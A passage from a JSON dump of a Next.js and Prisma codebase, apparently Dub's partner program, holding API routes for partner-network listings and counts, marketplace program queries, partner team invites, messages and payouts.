\"5000-25000\" && {\n          subscribers: { gte: 5000, lt: 25000 },\n        }),\n        ...(subscribers === \"25000-100000\" && {\n          subscribers: { gte: 25000, lt: 100000 },\n        }),\n        ...(subscribers === \"100000+\" && {\n          subscribers: { gte: 100000 },\n        }),\n      };\n\n      // Build partner where clause combining all filters\n      const partnerWhere: Prisma.PartnerWhereInput = {\n        ...commonWhere,\n        ...statusWheres[status || \"discover\"],\n        platforms: {\n          some: platformPlatformFilter,\n        },\n      };\n\n      // Get all partners matching the criteria with their platforms\n      const partners = await prisma.partner.findMany({\n        where: partnerWhere,\n        select: {\n          id: true,\n          platforms: {\n            where: platformPlatformFilter,\n            select: {\n              type: true,\n            },\n          },\n        },\n      });\n\n      // Group by platform type and count distinct partners\n      const platformCountsMap = new Map<PlatformType, Set<string>>();\n\n      for (const partner of partners) {\n        for (const platform of partner.platforms) {\n          if (!platformCountsMap.has(platform.type)) {\n            platformCountsMap.set(platform.type, new Set());\n          }\n          platformCountsMap.get(platform.type)!.add(partner.id);\n        }\n      }\n\n      const platformCounts = Array.from(platformCountsMap.entries())\n        .map(([type, partnerIds]) => ({\n          platform: type,\n          _count: partnerIds.size,\n        }))\n        .sort((a, b) => b._count - a._count);\n\n      return NextResponse.json(platformCounts);\n    } else if (groupBy === \"subscribers\") {\n      // Get counts by subscriber ranges (only verified platforms)\n      const subscriberRanges = [\n        { label: \"<5000\", min: 0, max: 4999 },\n        { label: \"5000-25000\", min: 5000, max: 24999 },\n        { label: \"25000-100000\", min: 25000, max: 99999 },\n        { label: \"100000+\", min: 100000, max: null },\n      ];\n\n      const subscriberCounts = await Promise.all(\n        subscriberRanges.map(async (range) => {\n          const where: Prisma.PartnerWhereInput = {\n            ...commonWhere,\n            ...statusWheres[status || \"discover\"],\n            platforms: {\n              some: {\n                verifiedAt: { not: null },\n                ...(range.max !== null\n                  ? {\n                      subscribers: { gte: range.min, lt: range.max + 1 },\n                    }\n                  : {\n                      subscribers: { gte: range.min },\n                    }),\n                ...(platform && { type: platform }),\n              },\n            },\n          };\n\n          const count = await prisma.partner.count({ where });\n\n          return {\n            subscribers: range.label,\n            _count: count,\n          };\n        }),\n      );\n\n      return NextResponse.json(subscriberCounts);\n    }\n\n    throw new Error(\"Invalid groupBy\");\n  },\n  {\n    requiredPlan: [\"enterprise\", \"advanced\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/network/partners/invites-usage/route.ts",
    "content": "import { getNetworkInvitesUsage } from \"@/lib/api/partners/get-network-invites-usage\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/network/partners/invites-usage - get the usage and limits for partner network invitations\nexport const GET = withWorkspace(\n  async ({ workspace }) => {\n    const usage = await getNetworkInvitesUsage(workspace);\n\n    return NextResponse.json({\n      usage,\n      limit: workspace.networkInvitesLimit,\n      remaining: Math.max(0, workspace.networkInvitesLimit - usage),\n    });\n  },\n  {\n    requiredPlan: [\"enterprise\", \"advanced\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/network/partners/route.ts",
    "content": "import { getConversionScore } from \"@/lib/actions/partners/get-conversion-score\";\nimport { DubApiError } from \"@/lib/api/errors\";\nimport { calculatePartnerRanking } from \"@/lib/api/network/calculate-partner-ranking\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { PROGRAM_SIMILARITY_SCORE_THRESHOLD } from \"@/lib/constants/program\";\nimport {\n  NetworkPartnerSchema,\n  getNetworkPartnersQuerySchema,\n} from \"@/lib/zod/schemas/partner-network\";\nimport { prisma } from \"@dub/prisma\";\nimport { PreferredEarningStructure, SalesChannel } from \"@dub/prisma/client\";\nimport { NextResponse } from \"next/server\";\nimport * as z from \"zod/v4\";\n\n// GET /api/network/partners - get all available partners in the network\nexport const GET = withWorkspace(\n  async ({ workspace, searchParams }) => {\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const program = await prisma.program.findUniqueOrThrow({\n      where: {\n        id: programId,\n      },\n      include: {\n        similarPrograms: {\n          where: {\n            similarityScore: {\n              gt: PROGRAM_SIMILARITY_SCORE_THRESHOLD,\n            },\n          },\n          orderBy: {\n            similarityScore: \"desc\",\n          },\n          take: 10,\n        },\n      },\n    });\n\n    if (!program.partnerNetworkEnabledAt) {\n      throw new DubApiError({\n        code: \"forbidden\",\n        message: \"Partner network is not enabled for this program.\",\n      });\n    }\n\n    const {\n      partnerIds,\n      status,\n      page,\n      pageSize,\n      country,\n      starred,\n      platform,\n      subscribers,\n    } = getNetworkPartnersQuerySchema.parse(searchParams);\n\n    const similarPrograms = program.similarPrograms.map((sp) => ({\n      programId: sp.similarProgramId,\n      similarityScore: sp.similarityScore,\n    }));\n\n    console.time(\"calculatePartnerRanking\");\n    const partners = await calculatePartnerRanking({\n      programId,\n      partnerIds,\n      status,\n      country,\n      page,\n      pageSize,\n      starred: starred ?? undefined,\n      platform: platform ?? undefined,\n      subscribers: subscribers ?? undefined,\n      similarPrograms,\n    });\n    console.timeEnd(\"calculatePartnerRanking\");\n\n    return NextResponse.json(\n      z.array(NetworkPartnerSchema).parse(\n        partners.map((partner) => ({\n          ...partner,\n          conversionScore: getConversionScore(partner.conversionRate || 0),\n          starredAt: partner.starredAt ? new Date(partner.starredAt) : null,\n          ignoredAt: partner.ignoredAt ? new Date(partner.ignoredAt) : null,\n          invitedAt: partner.invitedAt ? new Date(partner.invitedAt) : null,\n          categories: partner.categories\n            ? partner.categories.split(\",\").map((c: string) => c.trim())\n            : [],\n          preferredEarningStructures: partner.preferredEarningStructures\n            ? partner.preferredEarningStructures\n                .split(\",\")\n                .map((e: string) => e.trim() as PreferredEarningStructure)\n            : [],\n          salesChannels: partner.salesChannels\n            ? partner.salesChannels\n                .split(\",\")\n                .map((s: string) => s.trim() as SalesChannel)\n            : [],\n        })),\n      ),\n    );\n  },\n  {\n    requiredPlan: [\"enterprise\", \"advanced\"],\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/network/programs/count/route.ts",
    "content": "import { withPartnerProfile } from \"@/lib/auth/partner\";\nimport { DEFAULT_PARTNER_GROUP } from \"@/lib/zod/schemas/groups\";\nimport { getNetworkProgramsCountQuerySchema } from \"@/lib/zod/schemas/program-network\";\nimport { prisma } from \"@dub/prisma\";\nimport { Prisma } from \"@dub/prisma/client\";\nimport { NextResponse } from \"next/server\";\n\nconst rewardTypeMap = {\n  sale: Prisma.sql`pg.saleRewardId IS NOT NULL`,\n  lead: Prisma.sql`pg.leadRewardId IS NOT NULL`,\n  click: Prisma.sql`pg.clickRewardId IS NOT NULL`,\n  discount: Prisma.sql`pg.discountId IS NOT NULL`,\n};\n\n// GET /api/network/programs/count - get the number of available programs in the network\nexport const GET = withPartnerProfile(async ({ partner, searchParams }) => {\n  const { groupBy, category, rewardType, status, featured, search } =\n    getNetworkProgramsCountQuerySchema.parse(searchParams);\n\n  const searchSql = search ? Prisma.sql`CONCAT('%', ${search}, '%')` : null;\n  const commonWhereSql = Prisma.sql`\n    p.addedToMarketplaceAt IS NOT NULL\n    AND EXISTS (\n      SELECT 1 FROM PartnerGroup pg\n      WHERE\n        pg.programId = p.id \n        AND pg.slug = ${DEFAULT_PARTNER_GROUP.slug}\n        AND pg.applicationFormPublishedAt IS NOT NULL\n        ${\n          rewardType && groupBy !== \"rewardType\"\n            ? Prisma.sql`\n              AND ${Prisma.join(\n                rewardType.map((type) => rewardTypeMap[type]),\n                \" AND \",\n              )}`\n            : Prisma.sql``\n        }\n    )\n    ${\n      category && groupBy !== \"category\"\n        ? Prisma.sql`\n          AND EXISTS (\n            SELECT 1 FROM ProgramCategory pc\n            WHERE pc.programId = p.id AND pc.category = ${category}\n          )`\n        : Prisma.sql``\n    }\n    ${\n      status !== undefined && groupBy !== \"status\"\n        ? Prisma.sql`\n          AND ${status === null ? Prisma.sql`NOT` : Prisma.sql``} EXISTS (\n            SELECT 1 FROM ProgramEnrollment pe\n            WHERE\n              pe.programId = p.id \n              AND pe.partnerId = ${partner.id}\n              ${status === null ? Prisma.sql`` : Prisma.sql`AND pe.status = ${status}`}\n          )`\n        : Prisma.sql``\n    }\n    ${featured !== undefined ? Prisma.sql`AND p.featuredOnMarketplaceAt IS ${featured ? Prisma.sql`NOT` : Prisma.sql``} NULL` : Prisma.sql``}\n    ${searchSql ? Prisma.sql`AND (p.name LIKE ${searchSql} OR p.slug LIKE ${searchSql} OR p.domain LIKE ${searchSql})` : Prisma.sql``}\n  `;\n\n  if (groupBy === \"category\") {\n    const categories = (await prisma.$queryRaw`\n      SELECT pc.category, COUNT(p.id) AS _count\n      FROM ProgramCategory pc\n      JOIN Program p ON p.id = pc.programId\n      WHERE ${commonWhereSql}\n      GROUP BY pc.category\n      ORDER BY _count DESC\n    `) as { category: string; _count: bigint }[];\n\n    return NextResponse.json(\n      categories.map(({ _count, ...rest }) => ({\n        ...rest,\n        _count: Number(_count),\n      })),\n    );\n  } else if (groupBy === \"rewardType\") {\n    const rewards = (await prisma.$queryRaw`\n      SELECT\n        COUNT(pg.clickRewardId) AS \"click\",\n        COUNT(pg.leadRewardId) AS \"lead\",\n        COUNT(pg.saleRewardId) AS \"sale\",\n        COUNT(discountId) AS \"discount\"\n      FROM PartnerGroup pg\n      JOIN Program p ON p.id = pg.programId\n      WHERE pg.slug = ${DEFAULT_PARTNER_GROUP.slug} AND ${commonWhereSql}\n    `) as { click: bigint; lead: bigint; sale: bigint; discount: bigint }[];\n\n    return NextResponse.json(\n      [\"sale\", \"lead\", \"click\", \"discount\"].map((k) => ({\n        type: k,\n        _count: Number(rewards[0][k]),\n      })),\n    );\n  } else if (groupBy === \"status\") {\n    const statuses = (await prisma.$queryRaw`\n      SELECT pe.status, COUNT(p.id) AS _count\n      FROM Program p\n      LEFT JOIN ProgramEnrollment pe ON p.id = pe.programId AND pe.partnerId = ${partner.id}\n      WHERE p.addedToMarketplaceAt IS NOT NULL AND ${commonWhereSql}\n      GROUP BY pe.status\n      ORDER BY _count DESC\n    `) as { status: string | null; _count: bigint }[];\n\n    return NextResponse.json(\n      statuses.map(({ _count, ...rest }) => ({\n        ...rest,\n        _count: Number(_count),\n      })),\n    );\n  }\n\n  const count = (await prisma.$queryRaw`\n    SELECT COUNT(*) AS count FROM Program p\n    WHERE ${commonWhereSql}\n  `) as { count: bigint }[];\n\n  return NextResponse.json(Number(count[0].count));\n});\n"
  },
  {
    "path": "apps/web/app/(ee)/api/network/programs/route.ts",
    "content": "import { withPartnerProfile } from \"@/lib/auth/partner\";\nimport { DEFAULT_PARTNER_GROUP } from \"@/lib/zod/schemas/groups\";\nimport {\n  NetworkProgramSchema,\n  getNetworkProgramsQuerySchema,\n} from \"@/lib/zod/schemas/program-network\";\nimport { prisma } from \"@dub/prisma\";\nimport { NextResponse } from \"next/server\";\nimport * as z from \"zod/v4\";\n\n// GET /api/network/programs - get all available programs in the network\nexport const GET = withPartnerProfile(async ({ partner, searchParams }) => {\n  const {\n    search,\n    featured,\n    category,\n    rewardType,\n    status,\n    sortBy,\n    sortOrder,\n    page = 1,\n    pageSize,\n  } = getNetworkProgramsQuerySchema.parse(searchParams);\n\n  const programs = await prisma.program.findMany({\n    where: {\n      // Added to marketplace\n      addedToMarketplaceAt: {\n        not: null,\n      },\n      ...(featured && {\n        featuredOnMarketplaceAt: {\n          not: null,\n        },\n      }),\n      ...(search && {\n        OR: [\n          { name: { contains: search } },\n          { slug: { contains: search } },\n          { domain: { contains: search } },\n          { url: { contains: search } },\n          { description: { contains: search } },\n        ],\n      }),\n      ...(category && {\n        categories: {\n          some: {\n            category,\n          },\n        },\n      }),\n      ...(rewardType && {\n        groups: {\n          some: {\n            slug: DEFAULT_PARTNER_GROUP.slug,\n            ...(rewardType.includes(\"sale\") && {\n              saleRewardId: { not: null },\n            }),\n            ...(rewardType.includes(\"lead\") && {\n              leadRewardId: { not: null },\n            }),\n            ...(rewardType.includes(\"click\") && {\n              clickRewardId: { not: null },\n            }),\n            ...(rewardType.includes(\"discount\") && {\n              discountId: { not: null },\n            }),\n          },\n        },\n      }),\n      ...(status !== undefined && {\n        partners:\n          status === null\n            ? { none: { partnerId: partner.id } }\n            : {\n                some: {\n                  partnerId: partner.id,\n                  status,\n                },\n              },\n      }),\n    },\n    include: {\n      groups: {\n        where: {\n          slug: DEFAULT_PARTNER_GROUP.slug,\n        },\n        include: {\n          clickReward: true,\n          leadReward: true,\n          saleReward: true,\n          discount: true,\n        },\n      },\n      categories: true,\n      invoices: true,\n    },\n    orderBy:\n      sortBy === \"popularity\"\n        ? {}\n        : {\n            [sortBy === \"recency\" ? \"addedToMarketplaceAt\" : sortBy]: sortOrder,\n          },\n    skip: (page - 1) * pageSize,\n    take: pageSize,\n  });\n\n  return NextResponse.json(\n    z.array(NetworkProgramSchema).parse(\n      programs\n        .sort((a, b) =>\n          // if requesting featured programs, randomize the order\n          featured\n            ? Math.random() - 0.5\n            : // if sorting by popularity, sort by marketplaceRanking first, then total invoice paid out\n              sortBy === \"popularity\"\n              ? a.marketplaceRanking - b.marketplaceRanking ||\n                b.invoices.reduce((acc, invoice) => acc + invoice.amount, 0) -\n                  a.invoices.reduce((acc, invoice) => acc + invoice.amount, 0)\n              : 0,\n        )\n        .map((program) => ({\n          ...program,\n          rewards:\n            program.groups.length > 0\n              ? [\n                  program.groups[0].clickReward,\n                  program.groups[0].leadReward,\n                  program.groups[0].saleReward,\n                ].filter(Boolean)\n              : [],\n          discount:\n            program.groups.length > 0 ? program.groups[0].discount : null,\n          categories: program.categories.map(({ category }) => category),\n        })),\n    ),\n  );\n});\n"
  },
  {
    "path": "apps/web/app/(ee)/api/partner-profile/invites/accept/route.ts",
    "content": "import { DubApiError } from \"@/lib/api/errors\";\nimport { withSession } from \"@/lib/auth\";\nimport { prisma } from \"@dub/prisma\";\nimport { NextResponse } from \"next/server\";\n\n// POST /api/partner-profile/invites/accept – accept a partner invite\nexport const POST = withSession(async ({ session }) => {\n  await prisma.$transaction(async (tx) => {\n    const invite = await tx.partnerInvite.findFirst({\n      where: {\n        email: session.user.email,\n      },\n      include: {\n        partner: true,\n      },\n    });\n\n    if (!invite) {\n      throw new DubApiError({\n        code: \"not_found\",\n        message: \"No invitation found for your email.\",\n      });\n    }\n\n    if (invite.expires < new Date()) {\n      throw new DubApiError({\n        code: \"invite_expired\",\n        message: \"The invitation has been expired.\",\n      });\n    }\n\n    const partner = invite.partner;\n\n    const existingPartnerMembership = await tx.partnerUser.count({\n      where: {\n        userId: session.user.id,\n      },\n    });\n\n    if (existingPartnerMembership > 0) {\n      throw new DubApiError({\n        code: \"conflict\",\n        message:\n          \"You're already associated with another partner profile. A user can only belong to one partner profile at a time.\",\n      });\n    }\n\n    await tx.partnerUser.create({\n      data: {\n        userId: session.user.id,\n        role: invite.role,\n        partnerId: partner.id,\n        notificationPreferences: {\n          create: {},\n        },\n      },\n    });\n\n    await tx.partnerInvite.delete({\n      where: {\n        email_partnerId: {\n          email: session.user.email,\n          partnerId: partner.id,\n        },\n      },\n    });\n\n    if (session.user[\"defaultPartnerId\"] === null) {\n      const currentUser = await tx.user.findUnique({\n        where: {\n          id: session.user.id,\n        },\n        select: {\n          defaultPartnerId: true,\n        },\n      });\n\n      // Only update if defaultPartnerId is still null in the database\n      if (currentUser && currentUser.defaultPartnerId === null) {\n        await tx.user.update({\n          where: {\n            id: session.user.id,\n          },\n          data: {\n            defaultPartnerId: partner.id,\n          },\n        });\n      }\n    }\n  });\n\n  return NextResponse.json({\n    message: \"You are now a member of this partner profile.\",\n  });\n});\n"
  },
  {
    "path": "apps/web/app/(ee)/api/partner-profile/invites/route.ts",
    "content": "import { DubApiError } from \"@/lib/api/errors\";\nimport { invitePartnerUser } from \"@/lib/api/partners/invite-partner-user\";\nimport { parseRequestBody } from \"@/lib/api/utils\";\nimport { withPartnerProfile } from \"@/lib/auth/partner\";\nimport {\n  MAX_INVITES_PER_REQUEST,\n  MAX_PARTNER_USERS,\n} from \"@/lib/constants/partner-profile\";\nimport {\n  getPartnerUsersQuerySchema,\n  invitePartnerUserSchema,\n  partnerUserSchema,\n} from \"@/lib/zod/schemas/partner-profile\";\nimport { prisma } from \"@dub/prisma\";\nimport { PartnerRole } from \"@dub/prisma/client\";\nimport { isRejected, pluralize } from \"@dub/utils\";\nimport { NextResponse } from \"next/server\";\nimport * as z from \"zod/v4\";\n\n// GET /api/partner-profile/invites - get all invites for a partner profile\nexport const GET = withPartnerProfile(async ({ partner, searchParams }) => {\n  const { search, role } = getPartnerUsersQuerySchema.parse(searchParams);\n\n  const invites = await prisma.partnerInvite.findMany({\n    where: {\n      partnerId: partner.id,\n      role,\n      ...(search && {\n        email: { contains: search },\n      }),\n    },\n  });\n\n  const parsedInvites = invites.map((invite) =>\n    partnerUserSchema.parse({\n      ...invite,\n      id: null,\n      name: invite.email,\n    }),\n  );\n\n  return NextResponse.json(parsedInvites);\n});\n\n// POST /api/partner-profile/invites - invite team members\nexport const POST = withPartnerProfile(\n  async ({ partner, req, session }) => {\n    const invites = z\n      .array(invitePartnerUserSchema)\n      .parse(await parseRequestBody(req));\n\n    if (invites.length > MAX_INVITES_PER_REQUEST) {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message: \"You can only invite up to 5 members at a time.\",\n      });\n    }\n\n    const emails = Array.from(new Set([...invites.map(({ email }) => email)]));\n\n    const [\n      partnerInvitesCount,\n      partnerUsersCount,\n      existingPartnerUsers,\n      existingPartnerInvites,\n    ] = await Promise.all([\n      prisma.partnerInvite.count({\n        where: {\n          partnerId: partner.id,\n        },\n      }),\n\n      prisma.partnerUser.count({\n        where: {\n          partnerId: partner.id,\n        },\n      }),\n\n      prisma.partnerUser.findMany({\n        where: {\n          user: {\n            email: {\n              in: emails,\n            },\n          },\n        },\n        include: {\n          user: true,\n        },\n      }),\n\n      prisma.partnerInvite.findMany({\n        where: {\n          partnerId: partner.id,\n          email: {\n            in: emails,\n          },\n        },\n      }),\n    ]);\n\n    // Check for users that already exist\n    const existingPartnerUsersEmails = existingPartnerUsers.map(\n      ({ user }) => user?.email,\n    );\n\n    if (existingPartnerUsersEmails.length > 0) {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message: `${pluralize(\"User\", existingPartnerUsersEmails.length)} ${existingPartnerUsersEmails.join(\", \")} already ${existingPartnerUsersEmails.length > 1 ? \"have\" : \"has\"} associated partner profiles.`,\n      });\n    }\n\n    // Check for pending invites\n    const existingInviteEmails = existingPartnerInvites.map(\n      ({ email }) => email,\n    );\n\n    if (existingInviteEmails.length > 0) {\n      throw new DubApiError({\n        code: \"conflict\",\n        message: `${pluralize(\"User\", existingInviteEmails.length)} ${existingInviteEmails.join(\", \")} ${pluralize(\"has\", existingInviteEmails.length, { plural: \"have\" })} already been invited to this partner profile.`,\n      });\n    }\n\n    if (\n      partnerInvitesCount + partnerUsersCount + invites.length >\n      MAX_PARTNER_USERS\n    ) {\n      throw new DubApiError({\n        code: \"exceeded_limit\",\n        message: `You can only have ${MAX_PARTNER_USERS} members in this partner profile.`,\n      });\n    }\n\n    const results = await Promise.allSettled(\n      invites.map(({ email, role }) =>\n        invitePartnerUser({\n          email,\n          role,\n          partner,\n          session,\n        }),\n      ),\n    );\n\n    const rejectedResults = results.filter(isRejected);\n\n    if (rejectedResults.length > 0) {\n      throw new DubApiError({\n        code: \"bad_request\",\n        message: \"Some invitations could not be sent.\",\n      });\n    }\n\n    return NextResponse.json({ message: \"Invite(s) sent\" });\n  },\n  {\n    requiredPermission: \"user_invites.create\",\n  },\n);\n\nconst updateInviteRoleSchema = z.object({\n  email: z.email(),\n  role: z.enum(PartnerRole),\n});\n\n// PATCH /api/partner-profile/invites - update an invite's role\nexport const PATCH = withPartnerProfile(\n  async ({ req, partner }) => {\n    const { email, role } = updateInviteRoleSchema.parse(\n      await parseRequestBody(req),\n    );\n\n    const invite = await prisma.partnerInvite.findUnique({\n      where: {\n        email_partnerId: {\n          email,\n          partnerId: partner.id,\n        },\n      },\n    });\n\n    if (!invite) {\n      throw new DubApiError({\n        code: \"not_found\",\n        message: \"The invitation you're trying to update was not found.\",\n      });\n    }\n\n    const response = await prisma.partnerInvite.update({\n      where: {\n        email_partnerId: {\n          email,\n          partnerId: partner.id,\n        },\n      },\n      data: {\n        role,\n      },\n    });\n\n    return NextResponse.json(response);\n  },\n  {\n    requiredPermission: \"user_invites.update\",\n  },\n);\n\nconst removeInviteSchema = z.object({\n  email: z.email(),\n});\n\n// DELETE /api/partner-profile/invites?email={email} - remove an invite\nexport const DELETE = withPartnerProfile(\n  async ({ searchParams, partner }) => {\n    const { email } = removeInviteSchema.parse(searchParams);\n\n    await prisma.$transaction([\n      prisma.partnerInvite.delete({\n        where: {\n          email_partnerId: {\n            email,\n            partnerId: partner.id,\n          },\n        },\n      }),\n\n      prisma.verificationToken.deleteMany({\n        where: {\n          identifier: email,\n        },\n      }),\n    ]);\n\n    return NextResponse.json({ email });\n  },\n  {\n    requiredPermission: \"user_invites.delete\",\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/partner-profile/messages/count/route.ts",
    "content": "import { withPartnerProfile } from \"@/lib/auth/partner\";\nimport { countMessagesQuerySchema } from \"@/lib/zod/schemas/messages\";\nimport { prisma } from \"@dub/prisma\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/partner-profile/messages/count - count messages for a partner\nexport const GET = withPartnerProfile(async ({ partner, searchParams }) => {\n  const { unread } = countMessagesQuerySchema.parse(searchParams);\n\n  const count = await prisma.message.count({\n    where: {\n      partnerId: partner.id,\n      ...(unread !== undefined && {\n        // Only count messages from the program\n        senderPartnerId: null,\n        readInApp: unread\n          ? // Only count unread messages\n            null\n          : {\n              // Only count read messages\n              not: null,\n            },\n      }),\n    },\n  });\n\n  return NextResponse.json(count);\n});\n"
  },
  {
    "path": "apps/web/app/(ee)/api/partner-profile/messages/route.ts",
    "content": "import { withPartnerProfile } from \"@/lib/auth/partner\";\nimport {\n  ProgramMessagesSchema,\n  getProgramMessagesQuerySchema,\n} from \"@/lib/zod/schemas/messages\";\nimport { prisma } from \"@dub/prisma\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/partner-profile/messages - get messages grouped by program\nexport const GET = withPartnerProfile(async ({ partner, searchParams }) => {\n  const {\n    programSlug,\n    sortBy,\n    sortOrder,\n    messagesLimit: messagesLimitArg,\n  } = getProgramMessagesQuerySchema.parse(searchParams);\n\n  const messagesLimit = messagesLimitArg ?? (programSlug ? undefined : 10);\n\n  const programs = await prisma.program.findMany({\n    where: {\n      // Partner is not banned from the program\n      partners: {\n        none: {\n          partnerId: partner.id,\n          status: \"banned\",\n        },\n      },\n\n      ...(programSlug\n        ? {\n            slug: programSlug,\n            OR: [\n              // Partner is enrolled in the program\n              // in this case, return messages regardless of messaging enabled status which is passed to the UI\n              {\n                partners: {\n                  some: {\n                    partnerId: partner.id,\n                  },\n                },\n              },\n              {\n                // Partner has received a direct message from the program\n                messages: {\n                  some: {\n                    partnerId: partner.id,\n                    senderPartnerId: null, // Sent by the program\n                  },\n                },\n              },\n            ],\n          }\n        : {\n            OR: [\n              // Program has messaging enabled and partner has 1+ messages with the program\n              {\n                messagingEnabledAt: {\n                  not: null,\n                },\n                messages: {\n                  some: {\n                    partnerId: partner.id,\n                  },\n                },\n              },\n\n              // Partner has received a direct message from the program\n              {\n                messages: {\n                  some: {\n                    partnerId: partner.id,\n                    senderPartnerId: null, // Sent by the program\n                  },\n                },\n              },\n            ],\n          }),\n    },\n    include: {\n      messages: {\n        where: {\n          partnerId: partner.id,\n        },\n        include: {\n          senderPartner: true,\n          senderUser: true,\n        },\n        orderBy: {\n          [sortBy]: sortOrder,\n        },\n        take: messagesLimit,\n      },\n    },\n  });\n\n  return NextResponse.json(\n    ProgramMessagesSchema.parse(\n      programs\n        // Sort by unread first, then by most recent message\n        .sort((a, b) => {\n          const aUnread = a.messages.some(\n            (m) => !m.senderPartnerId && !m.readInApp,\n          );\n          const bUnread = b.messages.some(\n            (m) => !m.senderPartnerId && !m.readInApp,\n          );\n\n          if (aUnread !== bUnread) {\n            return aUnread ? -1 : 1;\n          }\n\n          return sortOrder === \"desc\"\n            ? (b.messages?.[0]?.[sortBy]?.getTime() ?? 0) -\n                (a.messages?.[0]?.[sortBy]?.getTime() ?? 0)\n            : (a.messages?.[0]?.[sortBy]?.getTime() ?? 0) -\n                (b.messages?.[0]?.[sortBy]?.getTime() ?? 0);\n        })\n        // Map to {program, messages}\n        .map(({ messages, ...program }) => ({\n          program,\n          messages,\n        })),\n    ),\n  );\n});\n"
  },
  {
    "path": "apps/web/app/(ee)/api/partner-profile/notification-preferences/route.ts",
    "content": "import { withPartnerProfile } from \"@/lib/auth/partner\";\nimport { prisma } from \"@dub/prisma\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/partner-profile/notification-preferences – get notification preferences for the current partner+user\nexport const GET = withPartnerProfile(async ({ partner, session }) => {\n  const response = await prisma.partnerNotificationPreferences.findFirstOrThrow(\n    {\n      where: {\n        partnerUser: {\n          partnerId: partner.id,\n          userId: session.user.id,\n        },\n      },\n      select: {\n        commissionCreated: true,\n        applicationApproved: true,\n        newMessageFromProgram: true,\n        marketingCampaign: true,\n        connectPayoutReminder: true,\n      },\n    },\n  );\n\n  return NextResponse.json(response);\n});\n"
  },
  {
    "path": "apps/web/app/(ee)/api/partner-profile/payouts/count/route.ts",
    "content": "import { withPartnerProfile } from \"@/lib/auth/partner\";\nimport { payoutsCountQuerySchema } from \"@/lib/zod/schemas/payouts\";\nimport { prisma } from \"@dub/prisma\";\nimport { PayoutStatus, Prisma } from \"@dub/prisma/client\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/partner-profile/payouts/count – get payouts count for a partner\nexport const GET = withPartnerProfile(async ({ partner, searchParams }) => {\n  const { programId, groupBy, status } =\n    payoutsCountQuerySchema.parse(searchParams);\n\n  const where: Prisma.PayoutWhereInput = {\n    partnerId: partner.id,\n    ...(programId && { programId }),\n  };\n\n  if (groupBy === \"status\") {\n    const payouts = await prisma.payout.groupBy({\n      by: [\"status\"],\n      where: where,\n      _count: true,\n      _sum: {\n        amount: true,\n      },\n    });\n\n    const counts = payouts.map((p) => ({\n      status: p.status,\n      count: p._count,\n      amount: p._sum.amount,\n    }));\n\n    Object.values(PayoutStatus).forEach((status) => {\n      if (!counts.find((p) => p.status === status)) {\n        counts.push({\n          status,\n          count: 0,\n          amount: 0,\n        });\n      }\n    });\n\n    return NextResponse.json(counts);\n  }\n\n  const count = await prisma.payout.count({\n    where: {\n      ...where,\n      status,\n    },\n  });\n\n  return NextResponse.json(count);\n});\n"
  },
  {
    "path": "apps/web/app/(ee)/api/partner-profile/payouts/route.ts",
    "content": "import { getEffectivePayoutMode } from \"@/lib/api/payouts/get-effective-payout-mode\";\nimport { withPartnerProfile } from \"@/lib/auth/partner\";\nimport { partnerProfilePayoutsQuerySchema } from \"@/lib/zod/schemas/partner-profile\";\nimport { PartnerPayoutResponseSchema } from \"@/lib/zod/schemas/payouts\";\nimport { prisma } from \"@dub/prisma\";\nimport { NextResponse } from \"next/server\";\nimport * as z from \"zod/v4\";\n\n// GET /api/partner-profile/payouts - get all payouts for a partner\nexport const GET = withPartnerProfile(async ({ partner, searchParams }) => {\n  const {\n    programId,\n    status,\n    sortBy,\n    sortOrder,\n    page = 1,\n    pageSize,\n  } = partnerProfilePayoutsQuerySchema.parse(searchParams);\n\n  const payouts = await prisma.payout.findMany({\n    where: {\n      partnerId: partner.id,\n      ...(programId && { programId }),\n      ...(status && { status }),\n    },\n    include: {\n      program: true,\n    },\n    skip: (page - 1) * pageSize,\n    take: pageSize,\n    orderBy: {\n      [sortBy]: sortOrder,\n    },\n  });\n\n  const transformedPayouts = payouts.map((payout) => {\n    const mode =\n      payout.mode ??\n      getEffectivePayoutMode({\n        payoutMode: payout.program.payoutMode,\n        payoutsEnabledAt: partner.payoutsEnabledAt,\n      });\n\n    return {\n      ...payout,\n      mode,\n      traceId: payout.stripePayoutTraceId,\n    };\n  });\n\n  return NextResponse.json(\n    z.array(PartnerPayoutResponseSchema).parse(transformedPayouts),\n  );\n});\n"
  },
  {
    "path": "apps/web/app/(ee)/api/partner-profile/payouts/settings/route.ts",
    "content": "import { withPartnerProfile } from \"@/lib/auth/partner\";\nimport { getPartnerPayoutMethods } from \"@/lib/payouts/get-partner-payout-methods\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/partner-profile/payouts/settings\nexport const GET = withPartnerProfile(async ({ partner }) => {\n  const payoutMethods = await getPartnerPayoutMethods(partner);\n\n  return NextResponse.json(payoutMethods);\n});\n"
  },
  {
    "path": "apps/web/app/(ee)/api/partner-profile/postbacks/[postbackId]/events/route.ts",
    "content": "import { getPostbackOrThrow } from \"@/lib/api/postbacks/get-postback-or-throw\";\nimport { withPartnerProfile } from \"@/lib/auth/partner\";\nimport { getPostbackEvents } from \"@/lib/postback/api/get-postback-events\";\nimport { NextResponse } from \"next/server\";\n\n// GET /api/partner-profile/postbacks/[postbackId]/events\nexport const GET = withPartnerProfile(\n  async ({ partner, params }) => {\n    const { postbackId } = params;\n\n    await getPostbackOrThrow({\n      postbackId,\n      partnerId: partner.id,\n    });\n\n    const events = await getPostbackEvents({\n      postbackId,\n    });\n\n    return NextResponse.json(events.data);\n  },\n  {\n    requiredPermission: \"postbacks.read\",\n    featureFlag: \"postbacks\",\n  },\n);\n"
  },
  {
    "path": "apps/web/app/(ee)/api/partner-profile/postbacks/[postbackId]/rotate-secret/route.ts",
